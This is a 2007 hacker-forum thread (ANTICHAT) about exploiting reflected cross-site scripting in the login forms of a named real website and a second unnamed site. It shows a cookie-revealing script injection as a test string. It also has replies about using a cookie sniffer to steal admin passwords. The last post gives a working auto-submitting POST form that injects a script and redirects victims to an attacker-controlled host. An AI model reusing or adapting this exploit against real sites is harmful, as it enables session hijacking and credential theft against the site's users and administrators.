another question for xss

Discussion in 'Forum for discussion of ANTICHAT' started by Fugitif, 11 Nov 2007.

  1. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    well

    if u try to put some string like this
    Code:
    "><script>alert(document.cookie)</script> 
    on nick+login in that site



    http://www.proplay.ru/

    [​IMG]


    result:


    [​IMG]




    Another site:

    [​IMG]


    [​IMG]


    my question:


    You think that can be exploitable?
     
  2. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Just if request method is get, because method post is invisible.
     
  3. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    I have found many site vulnerable to xss on admin (user) login,and I think that using some cookie sniffer can be done something.


    thx for your answer Mr.NOmeR1 (you are right) ;)
     
  4. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Even if the request method is post, you can write a PHP script to post the data, and it will be still exploitable. If I am wrong, correct me =)
     
  5. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    you can use post (it will be better)
    you can get admin's passwd ( use javascript)
    sorry for my english
     
  6. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    You're right, but there isn't a neccessity to write php script, you can use just javascript and html ;)
     
  7. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    http://www.proplay.ru/

    - method GET not supported
    - no referer-control


    http://yourhost.xz/g.html - link with XSS-exploit

    file g.html

    Code:
    
    <body onload='document.forms[0].submit()'>
    <form method="post" action="http://www.proplay.ru/users/login/">
    <input name="name" value='"><script>alert(document.cookie);document.location.href=\"http://yourhost.xz/q.html\";</script>' style="visibility:hidden;display:none">
    </form>
    
    
    redirect -->> q.html with any content

    Another site -->> by analogy